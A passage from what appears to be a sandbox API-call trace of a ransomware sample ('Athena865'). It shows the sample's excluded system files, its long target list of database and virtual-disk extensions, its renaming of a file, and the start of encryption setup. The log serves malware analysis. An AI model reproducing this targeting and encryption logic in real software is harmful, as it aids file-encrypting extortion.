hHeap=0x4f0000) returned 1 [0096.358] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0096.358] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0096.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.358] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0096.358] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0096.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.358] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0096.358] CloseHandle (hObject=0x17c) returned 1 [0096.358] CloseHandle (hObject=0x154) returned 1 [0096.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0096.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0096.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.359] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmpnssui.dll.mui", cAlternateFileName="")) returned 1 [0096.359] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0096.359] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.359] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2=".") returned 1 [0096.359] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="..") returned 1 [0096.359] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="windows") returned 1 [0096.359] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="bootmgr") returned 1 [0096.359] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="temp") returned 1 [0096.359] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="pagefile.sys") returned 1 [0096.359] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="boot") returned 1 [0096.359] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="ids.txt") returned 1 [0096.359] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="ntuser.dat") returned 1 [0096.359] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="perflogs") returned 1 [0096.359] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="MSBuild") returned 1 [0096.359] lstrlenW (lpString="wmpnssui.dll.mui") returned 16 [0096.359] lstrcpyW (in: lpString1=0x241e8ac, lpString2="wmpnssui.dll.mui" | out: lpString1="wmpnssui.dll.mui") returned="wmpnssui.dll.mui" [0096.359] lstrlenW (lpString="wmpnssui.dll.mui") returned 16 [0096.359] lstrlenW (lpString="Athena865") returned 9 [0096.359] lstrcmpiW (lpString1="i.dll.mui", lpString2="Athena865") returned 1 [0096.359] lstrlenW (lpString=".dll") returned 4 [0096.359] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2=".dll") returned 1 [0096.359] lstrlenW (lpString=".lnk") returned 4 [0096.359] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2=".lnk") returned 1 [0096.359] lstrlenW (lpString=".ini") returned 4 [0096.359] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2=".ini") returned 1 [0096.359] lstrlenW (lpString=".sys") returned 4 [0096.360] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2=".sys") returned 1 [0096.360] lstrlenW (lpString="wmpnssui.dll.mui") returned 16 [0096.360] lstrlenW (lpString="bak") returned 3 [0096.360] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0096.360] lstrlenW (lpString="ba_") returned 3 [0096.360] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0096.360] lstrlenW (lpString="dbb") returned 3 [0096.360] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0096.360] lstrlenW (lpString="vmdk") returned 4 [0096.360] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0096.360] lstrlenW (lpString="rar") returned 3 [0096.360] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0096.360] lstrlenW (lpString="zip") returned 3 [0096.360] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0096.360] lstrlenW (lpString="tgz") returned 3 [0096.360] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0096.360] lstrlenW (lpString="vbox") returned 4 [0096.360] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0096.360] lstrlenW (lpString="vdi") returned 3 [0096.360] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0096.360] lstrlenW (lpString="vhd") returned 3 [0096.360] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0096.360] lstrlenW (lpString="vhdx") returned 4 [0096.360] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0096.360] lstrlenW (lpString="avhd") returned 4 [0096.360] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0096.360] lstrlenW (lpString="db") returned 2 [0096.360] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0096.360] lstrlenW (lpString="db2") returned 3 [0096.360] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0096.360] lstrlenW (lpString="db3") returned 3 [0096.360] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0096.361] lstrlenW (lpString="dbf") returned 3 [0096.361] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0096.361] lstrlenW (lpString="mdf") returned 3 [0096.361] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0096.361] lstrlenW (lpString="mdb") returned 3 [0096.361] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0096.361] lstrlenW (lpString="sql") returned 3 [0096.361] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0096.361] lstrlenW (lpString="sqlite") returned 6 [0096.361] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1 [0096.361] lstrlenW (lpString="sqlite3") returned 7 [0096.361] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1 [0096.361] lstrlenW (lpString="sqlitedb") returned 8 [0096.361] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1 [0096.361] lstrlenW (lpString="xml") returned 3 [0096.361] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0096.361] lstrlenW (lpString="$er") returned 3 [0096.361] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0096.361] lstrlenW (lpString="4dd") returned 3 [0096.361] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0096.361] lstrlenW (lpString="4dl") returned 3 [0096.361] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0096.361] lstrlenW (lpString="^^^") returned 3 [0096.361] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0096.361] lstrlenW (lpString="abs") returned 3 [0096.361] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0096.361] lstrlenW (lpString="abx") returned 3 [0096.361] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0096.361] lstrlenW (lpString="accdb") returned 5 [0096.361] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1 [0096.361] lstrlenW (lpString="accdc") returned 5 [0096.361] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1 [0096.362] lstrlenW (lpString="accde") returned 5 [0096.362] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1 [0096.362] lstrlenW (lpString="accdr") returned 5 [0096.362] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1 [0096.362] lstrlenW (lpString="accdt") returned 5 [0096.362] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1 [0096.362] lstrlenW (lpString="accdw") returned 5 [0096.362] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1 [0096.362] lstrlenW (lpString="accft") returned 5 [0096.362] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1 [0096.362] lstrlenW (lpString="adb") returned 3 [0096.362] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0096.362] lstrlenW (lpString="adb") returned 3 [0096.362] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0096.362] lstrlenW (lpString="ade") returned 3 [0096.362] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0096.362] lstrlenW (lpString="adf") returned 3 [0096.362] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0096.362] lstrlenW (lpString="adn") returned 3 [0096.362] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0096.362] lstrlenW (lpString="adp") returned 3 [0096.362] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0096.362] lstrlenW (lpString="alf") returned 3 [0096.362] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0096.362] lstrlenW (lpString="ask") returned 3 [0096.362] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0096.362] lstrlenW (lpString="btr") returned 3 [0096.362] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0096.362] lstrlenW (lpString="cat") returned 3 [0096.362] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0096.362] lstrlenW (lpString="cdb") returned 3 [0096.362] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0096.363] lstrlenW (lpString="ckp") returned 3 [0096.363] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0096.363] lstrlenW (lpString="cma") returned 3 [0096.363] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0096.363] lstrlenW (lpString="cpd") returned 3 [0096.363] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0096.363] lstrlenW (lpString="dacpac") returned 6 [0096.363] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1 [0096.363] lstrlenW (lpString="dad") returned 3 [0096.363] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0096.363] lstrlenW (lpString="dadiagrams") returned 10 [0096.363] lstrcmpiW (lpString1="ui.dll.mui", lpString2="dadiagrams") returned 1 [0096.363] lstrlenW (lpString="daschema") returned 8 [0096.363] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1 [0096.363] lstrlenW (lpString="db-journal") returned 10 [0096.363] lstrcmpiW (lpString1="ui.dll.mui", lpString2="db-journal") returned 1 [0096.364] lstrlenW (lpString="db-shm") returned 6 [0096.364] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1 [0096.364] lstrlenW (lpString="db-wal") returned 6 [0096.364] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1 [0096.364] lstrlenW (lpString="dbc") returned 3 [0096.364] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0096.364] lstrlenW (lpString="dbs") returned 3 [0096.364] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0096.364] lstrlenW (lpString="dbt") returned 3 [0096.364] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0096.364] lstrlenW (lpString="dbv") returned 3 [0096.364] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0096.364] lstrlenW (lpString="dbx") returned 3 [0096.364] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0096.364] lstrlenW (lpString="dcb") returned 3 [0096.364] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0096.364] lstrlenW (lpString="dct") returned 3 [0096.364] lstrcmpiW (lpString1="mui", lpString2="dct") returned 1 [0096.364] lstrlenW (lpString="dcx") returned 3 [0096.364] lstrcmpiW (lpString1="mui", lpString2="dcx") returned 1 [0096.365] lstrlenW (lpString="ddl") returned 3 [0096.365] lstrcmpiW (lpString1="mui", lpString2="ddl") returned 1 [0096.365] lstrlenW (lpString="dlis") returned 4 [0096.365] lstrcmpiW (lpString1=".mui", lpString2="dlis") returned -1 [0096.365] lstrlenW (lpString="dp1") returned 3 [0096.365] lstrcmpiW (lpString1="mui", lpString2="dp1") returned 1 [0096.365] lstrlenW (lpString="dqy") returned 3 [0096.365] lstrcmpiW (lpString1="mui", lpString2="dqy") returned 1 [0096.365] lstrlenW (lpString="dsk") returned 3 [0096.365] lstrcmpiW (lpString1="mui", lpString2="dsk") returned 1 [0096.365] lstrlenW (lpString="dsn") returned 3 [0096.365] lstrcmpiW (lpString1="mui", lpString2="dsn") returned 1 [0096.365] lstrlenW (lpString="dtsx") returned 4 [0096.365] lstrcmpiW (lpString1=".mui", lpString2="dtsx") returned -1 [0096.365] lstrlenW (lpString="dxl") returned 3 [0096.365] lstrcmpiW (lpString1="mui", lpString2="dxl") returned 1 [0096.365] lstrlenW (lpString="eco") returned 3 [0096.365] lstrcmpiW (lpString1="mui", lpString2="eco") returned 1 [0096.365] lstrlenW (lpString="ecx") returned 3 [0096.365] lstrcmpiW (lpString1="mui", lpString2="ecx") returned 1 [0096.365] lstrlenW (lpString="edb") returned 3 [0096.365] lstrcmpiW (lpString1="mui", lpString2="edb") returned 1 [0096.365] lstrlenW (lpString="epim") returned 4 [0096.365] lstrcmpiW (lpString1=".mui", lpString2="epim") returned -1 [0096.365] lstrlenW (lpString="fcd") returned 3 [0096.365] lstrcmpiW (lpString1="mui", lpString2="fcd") returned 1 [0096.365] lstrlenW (lpString="fdb") returned 3 [0096.365] lstrcmpiW (lpString1="mui", lpString2="fdb") returned 1 [0096.365] lstrlenW (lpString="fic") returned 3 [0096.365] lstrcmpiW (lpString1="mui", lpString2="fic") returned 1 [0096.365] lstrlenW (lpString="flexolibrary") returned 12 [0096.366] lstrcmpiW (lpString1="ssui.dll.mui", lpString2="flexolibrary") returned 1 [0096.366] lstrlenW (lpString="fm5") returned 3 [0096.366] lstrcmpiW (lpString1="mui", lpString2="fm5") returned 1 [0096.366] lstrlenW (lpString="fmp") returned 3 [0096.366] lstrcmpiW (lpString1="mui", lpString2="fmp") returned 1 [0096.366] lstrlenW (lpString="fmp12") returned 5 [0096.366] lstrcmpiW (lpString1="l.mui", lpString2="fmp12") returned 1 [0096.366] lstrlenW (lpString="fmpsl") returned 5 [0096.366] lstrcmpiW (lpString1="l.mui", lpString2="fmpsl") returned 1 [0096.366] lstrlenW (lpString="fol") returned 3 [0096.366] lstrcmpiW (lpString1="mui", lpString2="fol") returned 1 [0096.366] lstrlenW (lpString="fp3") returned 3 [0096.366] lstrcmpiW (lpString1="mui", lpString2="fp3") returned 1 [0096.366] lstrlenW (lpString="fp4") returned 3 [0096.366] lstrcmpiW (lpString1="mui", lpString2="fp4") returned 1 [0096.366] lstrlenW (lpString="fp5") returned 3 [0096.366] lstrcmpiW (lpString1="mui", lpString2="fp5") returned 1 [0096.366] lstrlenW (lpString="fp7") returned 3 [0096.366] lstrcmpiW (lpString1="mui", lpString2="fp7") returned 1 [0096.366] lstrlenW (lpString="fpt") returned 3 [0096.366] lstrcmpiW (lpString1="mui", lpString2="fpt") returned 1 [0096.366] lstrlenW (lpString="frm") returned 3 [0096.366] lstrcmpiW (lpString1="mui", lpString2="frm") returned 1 [0096.366] lstrlenW (lpString="gdb") returned 3 [0096.366] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0096.366] lstrlenW (lpString="gdb") returned 3 [0096.366] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0096.366] lstrlenW (lpString="grdb") returned 4 [0096.366] lstrcmpiW (lpString1=".mui", lpString2="grdb") returned -1 [0096.366] lstrlenW (lpString="gwi") returned 3 [0096.366] lstrcmpiW (lpString1="mui", lpString2="gwi") returned 1 [0096.366] lstrlenW (lpString="hdb") returned 3 [0096.367] lstrcmpiW (lpString1="mui", lpString2="hdb") returned 1 [0096.367] lstrlenW (lpString="his") returned 3 [0096.367] lstrcmpiW (lpString1="mui", lpString2="his") returned 1 [0096.367] lstrlenW (lpString="ib") returned 2 [0096.367] lstrcmpiW (lpString1="ui", lpString2="ib") returned 1 [0096.367] lstrlenW (lpString="idb") returned 3 [0096.367] lstrcmpiW (lpString1="mui", lpString2="idb") returned 1 [0096.367] lstrlenW (lpString="ihx") returned 3 [0096.367] lstrcmpiW (lpString1="mui", lpString2="ihx") returned 1 [0096.367] lstrlenW (lpString="itdb") returned 4 [0096.367] lstrcmpiW (lpString1=".mui", lpString2="itdb") returned -1 [0096.367] lstrlenW (lpString="itw") returned 3 [0096.367] lstrcmpiW (lpString1="mui", lpString2="itw") returned 1 [0096.367] lstrlenW (lpString="jet") returned 3 [0096.367] lstrcmpiW (lpString1="mui", lpString2="jet") returned 1 [0096.367] lstrlenW (lpString="jtx") returned 3 [0096.367] lstrcmpiW (lpString1="mui", lpString2="jtx") returned 1 [0096.367] lstrlenW (lpString="kdb") returned 3 [0096.367] lstrcmpiW (lpString1="mui", lpString2="kdb") returned 1 [0096.367] lstrlenW (lpString="kexi") returned 4 [0096.367] lstrcmpiW (lpString1=".mui", lpString2="kexi") returned -1 [0096.367] lstrlenW (lpString="kexic") returned 5 [0096.367] lstrcmpiW (lpString1="l.mui", lpString2="kexic") returned 1 [0096.367] lstrlenW (lpString="kexis") returned 5 [0096.367] lstrcmpiW (lpString1="l.mui", lpString2="kexis") returned 1 [0096.367] lstrlenW (lpString="lgc") returned 3 [0096.367] lstrcmpiW (lpString1="mui", lpString2="lgc") returned 1 [0096.367] lstrlenW (lpString="lwx") returned 3 [0096.367] lstrcmpiW (lpString1="mui", lpString2="lwx") returned 1 [0096.367] lstrlenW (lpString="maf") returned 3 [0096.367] lstrcmpiW (lpString1="mui", lpString2="maf") returned 1 [0096.367] lstrlenW (lpString="maq") returned 3 [0096.368] lstrcmpiW (lpString1="mui", lpString2="maq") returned 1 [0096.368] lstrlenW (lpString="mar") returned 3 [0096.368] lstrcmpiW (lpString1="mui", lpString2="mar") returned 1 [0096.368] lstrlenW (lpString="marshal") returned 7 [0096.368] lstrcmpiW (lpString1="dll.mui", lpString2="marshal") returned -1 [0096.368] lstrlenW (lpString="mas") returned 3 [0096.368] lstrcmpiW (lpString1="mui", lpString2="mas") returned 1 [0096.368] lstrlenW (lpString="mav") returned 3 [0096.368] lstrcmpiW (lpString1="mui", lpString2="mav") returned 1 [0096.368] lstrlenW (lpString="maw") returned 3 [0096.368] lstrcmpiW (lpString1="mui", lpString2="maw") returned 1 [0096.368] lstrlenW (lpString="mdbhtml") returned 7 [0096.368] lstrcmpiW (lpString1="dll.mui", lpString2="mdbhtml") returned -1 [0096.368] lstrlenW (lpString="mdn") returned 3 [0096.368] lstrcmpiW (lpString1="mui", lpString2="mdn") returned 1 [0096.368] lstrlenW (lpString="mdt") returned 3 [0096.368] lstrcmpiW (lpString1="mui", lpString2="mdt") returned 1 [0096.368] lstrlenW (lpString="mfd") returned 3 [0096.368] lstrcmpiW (lpString1="mui", lpString2="mfd") returned 1 [0096.368] lstrlenW (lpString="mpd") returned 3 [0096.368] lstrcmpiW (lpString1="mui", lpString2="mpd") returned 1 [0096.368] lstrlenW (lpString="mrg") returned 3 [0096.368] lstrcmpiW (lpString1="mui", lpString2="mrg") returned 1 [0096.368] lstrlenW (lpString="mud") returned 3 [0096.368] lstrcmpiW (lpString1="mui", lpString2="mud") returned 1 [0096.368] lstrlenW (lpString="mwb") returned 3 [0096.368] lstrcmpiW (lpString1="mui", lpString2="mwb") returned -1 [0096.368] lstrlenW (lpString="myd") returned 3 [0096.368] lstrcmpiW (lpString1="mui", lpString2="myd") returned -1 [0096.368] lstrlenW (lpString="ndf") returned 3 [0096.368] lstrcmpiW (lpString1="mui", lpString2="ndf") returned -1 [0096.368] lstrlenW (lpString="nnt") returned 3 [0096.369] lstrcmpiW (lpString1="mui", lpString2="nnt") returned -1 [0096.369] lstrlenW (lpString="nrmlib") returned 6 [0096.369] lstrcmpiW (lpString1="ll.mui", lpString2="nrmlib") returned -1 [0096.369] lstrlenW (lpString="ns2") returned 3 [0096.369] lstrcmpiW (lpString1="mui", lpString2="ns2") returned -1 [0096.369] lstrlenW (lpString="ns3") returned 3 [0096.369] lstrcmpiW (lpString1="mui", lpString2="ns3") returned -1 [0096.369] lstrlenW (lpString="ns4") returned 3 [0096.369] lstrcmpiW (lpString1="mui", lpString2="ns4") returned -1 [0096.369] lstrlenW (lpString="nsf") returned 3 [0096.369] lstrcmpiW (lpString1="mui", lpString2="nsf") returned -1 [0096.369] lstrlenW (lpString="nv") returned 2 [0096.369] lstrcmpiW (lpString1="ui", lpString2="nv") returned 1 [0096.369] lstrlenW (lpString="nv2") returned 3 [0096.369] lstrcmpiW (lpString1="mui", lpString2="nv2") returned -1 [0096.369] lstrlenW (lpString="nwdb") returned 4 [0096.369] lstrcmpiW (lpString1=".mui", lpString2="nwdb") returned -1 [0096.369] lstrlenW (lpString="nyf") returned 3 [0096.369] lstrcmpiW (lpString1="mui", lpString2="nyf") returned -1 [0096.369] lstrlenW (lpString="odb") returned 3 [0096.369] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0096.369] lstrlenW (lpString="odb") returned 3 [0096.369] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0096.369] lstrlenW (lpString="oqy") returned 3 [0096.369] lstrcmpiW (lpString1="mui", lpString2="oqy") returned -1 [0096.369] lstrlenW (lpString="ora") returned 3 [0096.369] lstrcmpiW (lpString1="mui", lpString2="ora") returned -1 [0096.369] lstrlenW (lpString="orx") returned 3 [0096.369] lstrcmpiW (lpString1="mui", lpString2="orx") returned -1 [0096.369] lstrlenW (lpString="owc") returned 3 [0096.369] lstrcmpiW (lpString1="mui", lpString2="owc") returned -1 [0096.369] lstrlenW (lpString="p96") returned 3 [0096.370] lstrcmpiW (lpString1="mui", lpString2="p96") returned -1 [0096.370] lstrlenW (lpString="p97") returned 3 [0096.370] lstrcmpiW (lpString1="mui", lpString2="p97") returned -1 [0096.370] lstrlenW (lpString="pan") returned 3 [0096.370] lstrcmpiW (lpString1="mui", lpString2="pan") returned -1 [0096.370] lstrlenW (lpString="pdb") returned 3 [0096.370] lstrcmpiW (lpString1="mui", lpString2="pdb") returned -1 [0096.370] lstrlenW (lpString="pdm") returned 3 [0096.370] lstrcmpiW (lpString1="mui", lpString2="pdm") returned -1 [0096.370] lstrlenW (lpString="pnz") returned 3 [0096.370] lstrcmpiW (lpString1="mui", lpString2="pnz") returned -1 [0096.370] lstrlenW (lpString="qry") returned 3 [0096.370] lstrcmpiW (lpString1="mui", lpString2="qry") returned -1 [0096.370] lstrlenW (lpString="qvd") returned 3 [0096.370] lstrcmpiW (lpString1="mui", lpString2="qvd") returned -1 [0096.370] lstrlenW (lpString="rbf") returned 3 [0096.370] lstrcmpiW (lpString1="mui", lpString2="rbf") returned -1 [0096.370] lstrlenW (lpString="rctd") returned 4 [0096.370] lstrcmpiW (lpString1=".mui", lpString2="rctd") returned -1 [0096.370] lstrlenW (lpString="rod") returned 3 [0096.370] lstrcmpiW (lpString1="mui", lpString2="rod") returned -1 [0096.370] lstrlenW (lpString="rodx") returned 4 [0096.370] lstrcmpiW (lpString1=".mui", lpString2="rodx") returned -1 [0096.370] lstrlenW (lpString="rpd") returned 3 [0096.370] lstrcmpiW (lpString1="mui", lpString2="rpd") returned -1 [0096.370] lstrlenW (lpString="rsd") returned 3 [0096.370] lstrcmpiW (lpString1="mui", lpString2="rsd") returned -1 [0096.370] lstrlenW (lpString="sas7bdat") returned 8 [0096.370] lstrcmpiW (lpString1=".dll.mui", lpString2="sas7bdat") returned -1 [0096.370] lstrlenW (lpString="sbf") returned 3 [0096.370] lstrcmpiW (lpString1="mui", lpString2="sbf") returned -1 [0096.370] lstrlenW (lpString="scx") returned 3 [0096.371] lstrcmpiW (lpString1="mui", lpString2="scx") returned -1 [0096.371] lstrlenW (lpString="sdb") returned 3 [0096.371] lstrcmpiW (lpString1="mui", lpString2="sdb") returned -1 [0096.371] lstrlenW (lpString="sdc") returned 3 [0096.371] lstrcmpiW (lpString1="mui", lpString2="sdc") returned -1 [0096.371] lstrlenW (lpString="sdf") returned 3 [0096.371] lstrcmpiW (lpString1="mui", lpString2="sdf") returned -1 [0096.371] lstrlenW (lpString="sis") returned 3 [0096.371] lstrcmpiW (lpString1="mui", lpString2="sis") returned -1 [0096.371] lstrlenW (lpString="spq") returned 3 [0096.371] lstrcmpiW (lpString1="mui", lpString2="spq") returned -1 [0096.371] lstrlenW (lpString="te") returned 2 [0096.371] lstrcmpiW (lpString1="ui", lpString2="te") returned 1 [0096.371] lstrlenW (lpString="teacher") returned 7 [0096.371] lstrcmpiW (lpString1="dll.mui", lpString2="teacher") returned -1 [0096.371] lstrlenW (lpString="tmd") returned 3 [0096.371] lstrcmpiW (lpString1="mui", lpString2="tmd") returned -1 [0096.371] lstrlenW (lpString="tps") returned 3 [0096.371] lstrcmpiW (lpString1="mui", lpString2="tps") returned -1 [0096.371] lstrlenW (lpString="trc") returned 3 [0096.371] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0096.371] lstrlenW (lpString="trc") returned 3 [0096.371] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0096.371] lstrlenW (lpString="trm") returned 3 [0096.371] lstrcmpiW (lpString1="mui", lpString2="trm") returned -1 [0096.371] lstrlenW (lpString="udb") returned 3 [0096.371] lstrcmpiW (lpString1="mui", lpString2="udb") returned -1 [0096.371] lstrlenW (lpString="udl") returned 3 [0096.371] lstrcmpiW (lpString1="mui", lpString2="udl") returned -1 [0096.371] lstrlenW (lpString="usr") returned 3 [0096.371] lstrcmpiW (lpString1="mui", lpString2="usr") returned -1 [0096.371] lstrlenW (lpString="v12") returned 3 [0096.372] lstrcmpiW (lpString1="mui", lpString2="v12") returned -1 [0096.372] lstrlenW (lpString="vis") returned 3 [0096.372] lstrcmpiW (lpString1="mui", lpString2="vis") returned -1 [0096.372] lstrlenW (lpString="vpd") returned 3 [0096.372] lstrcmpiW (lpString1="mui", lpString2="vpd") returned -1 [0096.372] lstrlenW (lpString="vvv") returned 3 [0096.372] lstrcmpiW (lpString1="mui", lpString2="vvv") returned -1 [0096.372] lstrlenW (lpString="wdb") returned 3 [0096.372] lstrcmpiW (lpString1="mui", lpString2="wdb") returned -1 [0096.372] lstrlenW (lpString="wmdb") returned 4 [0096.372] lstrcmpiW (lpString1=".mui", lpString2="wmdb") returned -1 [0096.372] lstrlenW (lpString="wrk") returned 3 [0096.372] lstrcmpiW (lpString1="mui", lpString2="wrk") returned -1 [0096.372] lstrlenW (lpString="xdb") returned 3 [0096.372] lstrcmpiW (lpString1="mui", lpString2="xdb") returned -1 [0096.372] lstrlenW (lpString="xld") returned 3 [0096.372] lstrcmpiW (lpString1="mui", lpString2="xld") returned -1 [0096.372] lstrlenW (lpString="xmlff") returned 5 [0096.372] lstrcmpiW (lpString1="l.mui", lpString2="xmlff") returned -1 [0096.372] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui.Athena865") returned 76 [0096.372] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\wmpnssui.dll.mui"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\wmpnssui.dll.mui.athena865"), dwFlags=0x1) returned 1 [0096.374] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\wmpnssui.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0096.374] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2560) returned 1 [0096.374] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0096.374] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0096.374] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0096.374] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0096.375] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 